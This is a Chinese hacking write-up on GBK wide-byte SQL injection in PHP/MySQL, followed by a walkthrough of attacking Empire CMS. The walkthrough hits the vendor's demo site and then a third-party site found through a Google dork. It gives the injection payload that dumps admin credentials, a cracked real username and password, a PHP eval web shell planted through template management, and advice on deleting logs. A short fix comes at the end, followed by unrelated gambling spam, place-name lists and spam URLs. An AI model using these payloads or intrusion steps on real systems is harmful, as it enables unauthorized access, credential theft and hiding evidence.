MYSQL宽字节注入漏洞详解

                一、热身

                在 介绍这个漏洞之前,有必要先明白一个概念——宽字节注入。宽字节注入是相对于单字节注入而言的。单字节注入就是大家平时的直接在带有参数ID的URL后面 追回SQL语句进行注入。比如:http://www.hackest.cn/article.php?id=1 and 1=1/*
                http://www.hackest.cn/article.php?id=1 and 1=2/*
                这个经典的判断目标是否存在注入的例子就是单字节注入。

                大 家都知道PHP在开启magic_quotes_gpc或者使用addslashes、iconv等函数的时候,单引号(')会被转义成\'。比如字 符%bf在满足上述条件的情况下会变成%bf\'。其中反斜杠(\)的十六进制编码是%5C,单引号(')的十六进制编码是%27,那么就可以得出%bf \'=%bf%5c%27。如果程序的默认字符集是GBK等宽字节字符集,则MySQL会认为%bf%5c是一个宽字符,也就是“縗”。也就是说%bf \'=%bf%5c%27=縗'。%bf并不是唯一的一个字符,应该是%81-%FE之间的任意一个都可以。不太好理解,我们用小葵写的一个字符转换的小 工具来转换一下,如图1。




                说 到这里好像还没有看出来到底有什么用。了解PHP+MySQL注入的朋友应该都明白,单引号在注入里绝对是个好东西。尤其是,很多程序员都过分依赖于 magic_quotes_gpc或者addslashes、iconv等函数的转义。理论上说,只要数据库连接代码设置了GBK编码,或者是默认编码就 是GBK,那现在的程序里到处都是注入漏洞。事实上,这种变换在XSS等领域也发挥了巨大的作用,在PHP+Linux后台程序结合的时候,还可能造成命 令注入,也就是说能可以在注入点直接执行Linux系统命令。比如登录文件login.php的代码如下:

                <?php
                $conn=mysql_connect("localhost","root","hackest");
                mysql_query("SET NAMES 'GBK'");
                mysql_select_db("test",$conn);
                $user=mysql_escape_string($_GET['user']);
                $pass=mysql_escape_string($_GET['pass']);
                $sql="select * from cms_user where username='$user' and password='$pass'";
                $result=mysql_query($sql,$conn);
                while ($row=mysql_fetch_array($result, MYSQL_ASSOC)) {
                $rows[]=$row;
                }
                ?>

                则可以通过构造以下语句进行注入:
                http://www.hackest.cn/login.php?user=%df'%20or%201=1%20limit%201,1%23&pass=
                %20是空格的URL编码,%23是#的URL编码,Mysql注释符之一。对应的SQL语句是:
                select * from cms_user where username='運'or 1=1 limit 1,1#' and password="

                ---------------------------------------------------------------------------------------
                以上内容摘自网络,经过分析整理后用以说明问题,来源不详,感谢前辈们。^-^
                ---------------------------------------------------------------------------------------

                二、实践

                理论准备得差不多了,该来点实际的了,这次就拿帝国CMS做例子吧。帝国CMS是号称最安全、最稳定的开源CMS(内容管理系统)。帝国CMS的留言本文件部分代码如下:

                //权限
                if($gbr['groupid'])
                {
                include("../../class/user.php");
                $user=islogin();
                include("../../class/MemberLevel.php");
                if($level_r[$gbr[groupid]][level]>$level_r[$user[groupid]][level])
                {
                echo"<script>alert('您的会员级别不足(".$level_r[$gbr[groupid]][groupname]."),没有权限提交信息!');history.go(-1);</script>";
                exit();
                }
                }
                esetcookie("gbookbid",$bid,0);
                $bname=$gbr['bname'];
                $search="&bid=$bid";
                $page=(int)$_GET['page'];
                $start=(int)$_GET['start'];
                $line=12;//每页显示条数
                $page_line=12;//每页显示链接数
                $offset=$start+$page*$line;//总偏移量
                $totalnum=(int)$_GET['totalnum'];
                if($totalnum)
                {
                $num=$totalnum;
                }
                else
                {
                $totalquery="select count(*) as total from {$dbtbpre}enewsgbook where bid='$bid' and checked=0";
                $num=$empire->gettotal($totalquery);//取得总条数
                }
                $search.="&totalnum=$num";
                $query="select lyid,name,email,`call`,lytime,lytext,retext from {$dbtbpre}enewsgbook where bid='$bid' and checked=0";//hackest注解:关键是这一句,与上面举例的何其相似啊!
                $query=$query." order by lyid desc limit $offset,$line";
                $sql=$empire->query($query);
                $listpage=page1($num,$line,$page_line,$start,$page,$search);
                $url="<a href=../../../>".$fun_r['index']."</a> > ".$fun_r['saygbook'];
                ?>
                注 意注释部分!就直接拿官方测试吧,我就不本机折腾了。官方演示站点:http://demo.phome.net/,还别说,界面倒是蛮清爽的,难怪这么 多站长用咯。直奔留言本页面:http://demo.phome.net/e/tool/gbook/?bid=1,注意要带上bid=1(我下载了套 最新版的帝国CMS,e/tool/gbook目录下就一个index.php文件,直接访问它会有错误提示,并跳转至前一个页面)。然后下拉至“请您留 言:”处,按如下要求填写相关信息:
                姓名:123縗\
                联系邮箱:,1,1,1,(select concat(username,0x5f,password,0x5f,rnd) from phome_enewsuser where userid=1),1,1,1,0,0,0)/*
                联系电话:随便写
                留言内容:随便写

                填好后如图2



                提交后就能看到爆出来的用户名、密码MD5、还有rnd值了,如图3。



                wm_chief就是开发帝国CMS的程序员。因为提交了好几遍,在后台又删不掉,所以有多条记录。破解出来密码明文就可以登录后台了,不过官方演示站点后台并没有数据库操作权限,凡是涉及到数据库的操作就会提示:

                在线演示仅开放观看权限,与数据库相关操作已被管理员禁止!
                如果您的浏览器没有自动跳转,请点击这里

                而 且这个MD5是在线查询查不出来的,明文是用MD5的彩虹表破解出来的,后面会附图。这个后台就是只能让你看看,顺便体验一下其强大的功能(官方也提供的 演示管理员用户名和密码均为admin,也可以登录,不过都是操作不了的),拿这个密码去社工一下管理员,也没有什么意外的收获,其博客、论坛、邮箱、官 方站点FTP、官方站点3389等均无法进入,所以官方是搞不到Webshell了。
                三、替补

                官方进不去就找个替罪羊吧,Google以关键字“inurl:e/tool/gbook/?bid=1”搜索,搜出来的站点99%都是用帝国CMS的。随便找了一个,测试证明,漏洞存在,如图4。



                可恨的是这个MD5值也是无法在线查询出来的,又得开动彩虹表跑跑咯,把刚才官方的那个MD5也一起跑了吧,出去吃完饭回来,结果就出来了,如图5。



                顺 便啰嗦一下,如果有志于网络安全事业的发展,彩虹表还是必不可少的。什么是彩虹表呢?就是一个庞大的、针对各种可能的字母组合预先计算好的哈希值的集合, 不一定是针对MD5算法的,各种算法的都有,有了它可以快速的破解各类密码。越是复杂的密码,需要的彩虹表就越大,现在主流的彩虹表都是100G以上。

                该进后台了,后台地址默认为e/admin/。用户名:joycar,密码:zuxywz119,顺便进入后台,如图6。



                进 了后台应该怎么样才能拿到Webshell呢?添加上传后缀,我试了下,不可行。网上搜了一下相关资料,原来在模板管理那里有猫腻哦。进入后台-> 模板管理->自定义页面->增加自定义页面。页面名称随便填,文件名也得取一个,文件名处可以填指定路径,分类不必理会,页面内容处写入如下 代码:

                <\?php eval($_POST[cmd]);?\>

                一般的PHP一句话马的代码 是<?php eval($_POST[cmd]);?>,其中cmd是密码。但是这里一定要按上面要求的前后都要加上\,不加的话就不会成功,非常重要,务必记 住!然后点击提交,再返回到管理自定义页面,点击刚才起的页面名称,直接跳转至e/admin/template/hackest.php,无法找到该 页,路径不对嘛,当然找不到了,改成e/admin/hackest.php,再访问,一片空白,心中窃喜,有戏了……如图7、图8。





                再用lanker微型PHP+ASP管理器1.0双用版连接一句话,提交下环境变量看看,如图9。



                再上传一个PHP大马就大功告成了,是Linux系统的,发行版是Red Hat Enterprise Linux AS release 4,有溢出保护,提不了权咯,如图10。



                最 后千万记得把刚才爆用户名和密码的那条留言删除,再把你添加的自定义页面也删除,后台日志也处理下。好多人都不知道什么叫清理日志,其实就是尽可能地把关 于你的操作的相关记录删除。比如你登录了3389,系统日志会记录,比如你登录了FTP,应用程序日志也会记录,比如你对这个网站做了注入攻击,IIS或 者其他WEB应用程序也会记录……技术过硬的管理员能从这些日志里分析出你的攻击方法,攻击来源等细节,安全工作一定要做足,万万马虎不得。

                四、修补

                官方虽然也被爆了一段时间了,但是似乎并没有引起足够的重视,截止至发稿日仍然没看到官方有任何关于修补此漏洞的解决方案(其实也不能完全算是帝国CMS的错,编码这个问题最近闹得比较凶-_-)。

                解 决方法:就是在初始化连接和字符集之后,使用SET character_set_client=binary来设定客户端的字符集是二进制的。修改Windows下的MySQL配置文件一般是 my.ini,Linux下的MySQL配置文件一般是my.cnf,比如:mysql_query("SET character_set_client=binary");。character_set_client指定的是SQL语句的编码,如果设置为 binary,MySQL就以二进制来执行,这样宽字节编码问题就没有用武之地了。
                相关文章
                相关标签/搜索
                香港王中王论坛资枓香港正香四肖八码期期准精选资料app,四肖八码期期准精选资料最新官方版app预约 樟树市| 万宁市| 石嘴山市| 余干县| 商洛市| 深泽县| 通城县| 五河县| 宝丰县| 蓬莱市| 九龙县| 乃东县| 呼图壁县| 桓仁| 雷波县| 新野县| 安溪县| 马边| 理塘县| 朝阳区| 安庆市| 伊宁县| 黄浦区| 竹山县| 碌曲县| 玛曲县| 宝鸡市| 灵台县| 重庆市| 新疆| 夏津县| 长顺县| 电白县| 卢龙县| 都昌县| 若尔盖县| 淮阳县| 蓬安县| 连平县| 罗城| 象山县| 石河子市| 泰来县| 曲麻莱县| 皮山县| 崇义县| 米易县| 荥阳市| 陇西县| 七台河市| 赣榆县| 湘西| 错那县| 彭阳县| 山西省| 饶阳县| 浪卡子县| 阿拉善左旗| 思茅市| 天峨县| 南汇区| 瓮安县| 诏安县| 宜阳县| 长沙市| 乐至县| 吉隆县| 渭源县| 丰镇市| 娄烦县| 泾源县| 林芝县| 柳州市| 怀来县| 井研县| 张家口市| 子洲县| 敖汉旗| 江都市| 芜湖市| 涿州市| 邳州市| 霸州市| 宁晋县| 水富县| 林甸县| 瓮安县| 郎溪县| 崇信县| 无锡市| 皮山县| 汾阳市| 巴彦淖尔市| 青铜峡市| 临澧县| 成都市| 来宾市| 台前县| 库尔勒市| 大洼县| 玉溪市| 凤台县| 岚皋县| 睢宁县| 大方县| 棋牌| 祥云县| 黄龙县| 外汇| 双鸭山市| 思南县| 东兰县| 连江县| 新绛县| 秀山| 德兴市| 乌拉特中旗| 滦平县| 正宁县| 余江县| 雷山县| 东宁县| 龙陵县| 山阳县| 沐川县| 临湘市| 二连浩特市| 阜康市| 内江市| 霞浦县| 大埔县| 东丽区| 连城县| 鹿邑县| 巴林左旗| 林口县| 寻乌县| 饶阳县| 板桥市| 越西县| 武隆县| 岳池县| 荆州市| 定襄县| 崇信县| 巩义市| 汽车| 榆中县| 莆田市| 西平县| 内黄县| 佛山市| 合川市| 宝兴县| 冷水江市| 香港| 上林县| 兴城市| 施秉县| 获嘉县| 武邑县| 彭山县| 兴安县| 长岭县| 遵义市| 廊坊市| 扎鲁特旗| 科技| 开平市| 惠水县| 正阳县| 淅川县| 上虞市| 阿克苏市| 石门县| 峡江县| 安福县| 陈巴尔虎旗| 台中县| 鸡西市| 大英县| 中西区| 青铜峡市| 山丹县| 曲沃县| 龙井市| 赣榆县| 武乡县| 德江县| 如东县| 砚山县| 海门市| 江达县| 左云县| 辉县市| 安吉县| 开封市| 武胜县| 华蓥市| 龙陵县| 麻江县| 海丰县| 平阴县| 五寨县| 星座| 安达市| 勐海县| 遂川县| 略阳县| 缙云县| 旺苍县| 镇宁| 筠连县| 乌什县| 藁城市| 延寿县| 自治县| 博罗县| 阳新县| 五台县| 民勤县| 乳山市| 伊通| 靖州| 富源县| 新安县| 观塘区| 襄垣县| 突泉县| 富裕县| 绥化市| 黄大仙区| 建水县| 荆州市| 海淀区| 大竹县| 冕宁县| 邳州市| 三穗县| 东乌珠穆沁旗| 彭州市| 武安市| 济南市| 永仁县| 中西区| 甘谷县| 手机| 东源县| 桃江县| 清流县| 新河县| 广水市| 武安市| 松潘县| 阜宁县| 陕西省| 博客| 汉源县| 静海县| 金寨县| 慈利县| 盐边县| 中宁县| 石河子市| 方城县| 宣化县| 儋州市| 阿拉善盟| 永福县| 社会| 吉木萨尔县| 会昌县| 丹凤县| 积石山| 昆明市| 孟村| 洪江市| 冷水江市| 民权县| 沈丘县| 勃利县| 武定县| 监利县| 浮山县| 个旧市| 灌云县| 巨鹿县| 新建县| 彭泽县| 资源县| 浏阳市| 鄯善县| 大兴区| 昌都县| 舞阳县| 连平县| 进贤县| 邯郸市| 和静县| 潢川县| 扬州市| 宾阳县| 柏乡县| 瑞安市| 高密市| 札达县| 科尔| 兴仁县| 什邡市| 咸阳市| 丁青县| 潍坊市| 锡林郭勒盟| 鄂尔多斯市| 延吉市| 洛南县| 岢岚县| 辰溪县| 太保市| 南丰县| 白玉县| 安西县| 图木舒克市| 武穴市| 余干县| 即墨市| 怀安县| 青河县| 和平县| 东辽县| 阿克陶县| 自治县| 额济纳旗| 祁门县| 珠海市| 咸阳市| 绿春县| 策勒县| 正镶白旗| 喀喇沁旗| 阳泉市| 辽中县| 宣化县| 华池县| 特克斯县| 嵩明县| 休宁县| 象州县| 普兰店市| 肥西县| 同心县| 汪清县| 洛阳市| 怀安县| 团风县| 揭西县| 洪湖市| 大方县| 通海县| 大埔县| 灵川县| 武宣县| 东乌珠穆沁旗| 玉溪市| 丰顺县| 滨海县| 临夏市| 绍兴县| 邵阳市| 永寿县| 介休市| 海原县| 普兰县| 裕民县| 万源市| 十堰市| 开鲁县| 曲松县| 修武县| 林口县| 扎囊县| 兴安盟| 随州市| 轮台县| 天气| 甘肃省| 安图县| 全椒县| 成都市| 廉江市| 英山县| 霍林郭勒市| 大安市| 包头市| 北川| 长葛市| 黎平县| 绥棱县| 四子王旗| 英德市| 多伦县| 洪湖市| 达尔| 奇台县| 龙岩市| 横峰县| 分宜县| 象山县| 鸡西市| 广灵县| 和田市| 水城县| 沂源县| 花莲县| 开远市| 荥阳市| 滨海县| 商城县| 灵寿县| 安福县| 景洪市| 瑞丽市| 富宁县| 三原县| 墨竹工卡县| 鄂托克前旗| 四平市| 庄浪县| 张家界市| 高邮市| 惠水县| 海门市| 施甸县| 榆社县| 东城区| 霍州市| 武鸣县| 龙胜| 额敏县| 留坝县| 阆中市| 莱芜市| 昌平区| 香格里拉县| 四川省| 永春县| 鹤庆县| 深州市| 平邑县| 乌苏市| 常州市| 日照市| 工布江达县| 诏安县| 湘潭市| 白河县| 舟曲县| 左贡县| 静海县| 津南区| 察隅县| 孟州市| 上栗县| 运城市| 苍溪县| 曲阳县| 柳州市| 东丽区| 江西省| 炉霍县| 当雄县| 太白县| 和平区| 察隅县| 蓝田县| 罗城| 龙门县| 六安市| 五原县| 吉隆县| 阳东县| 北安市| 兴海县| 荥阳市| 彩票| 贡山| 泾川县| 肥乡县| 葫芦岛市| 阳东县| 咸宁市| 米易县| 库尔勒市| 西藏| 舞阳县| 疏勒县| 遂平县| 辽宁省| 江安县| 民乐县| 锦州市| 大冶市| 万盛区| 防城港市| 稻城县| 息烽县| 罗平县| 合川市| 宾阳县| 凤翔县| 三台县| 咸宁市| 准格尔旗| 屏东县| 武汉市| 太保市| 得荣县| 赤峰市| 崇阳县| 山阳县| 新昌县| 临沂市| 隆子县| 汉中市| 靖远县| 峨边| 那坡县| 庐江县| 丰原市| 荔波县| 成都市| 巩义市| 古交市| 定结县| 牙克石市| 保康县| 新营市| 诸暨市| 吴川市| 岳阳市| 郓城县| 阳谷县| 丹江口市| 漯河市| 莱芜市| 合肥市| 平陆县| 盈江县| 溆浦县| 南汇区| 奇台县| 巴林右旗| 织金县| 石嘴山市| 邯郸市| 和林格尔县| 双峰县| 曲靖市| 孝昌县| 龙江县| 房山区| 澄城县| 武鸣县| 武宁县| 镇坪县| 和平县| 昌平区| 三穗县| 清水河县| 南川市| 山西省| 汕头市| 彭州市| 石嘴山市| 灵台县| 延边| 禄丰县| 普定县| 柘荣县| 探索| 大姚县| 无为县| 恭城| 无为县| 安宁市| 乾安县| 原阳县| 凤翔县| 三明市| 射洪县| 屏山县| 石渠县| 囊谦县| 波密县| 裕民县| 阆中市| 邵东县| 招远市| 明水县| 朝阳区| 宝兴县| 华亭县| 柘荣县| 大姚县| 濉溪县| 华坪县| 迁安市| 西乌珠穆沁旗| 东山县| 明光市| 庆元县| 黎川县| 华安县| 沂水县| 云霄县| http://m.jx1870borderv.fun http://wap.jx1870cashv.fun http://wap.jx1870cozpletev.fun http://m.jx1870circuitv.fun http://wap.jx1870diskv.fun http://3g.jx1870blockv.fun http://www.jx1870dropv.fun http://jx1870bellv.fun http://3g.jx1870applyv.fun http://m.jx1870crossv.fun http://3g.jx1870charv.fun http://3g.jx1870agreev.fun http://m.jx1870calendarv.fun http://3g.jx1870associatev.fun http://3g.jx1870counterv.fun http://wap.jx1870cozev.fun http://wap.jx1870controlv.fun http://3g.jx1870cozzissionv.fun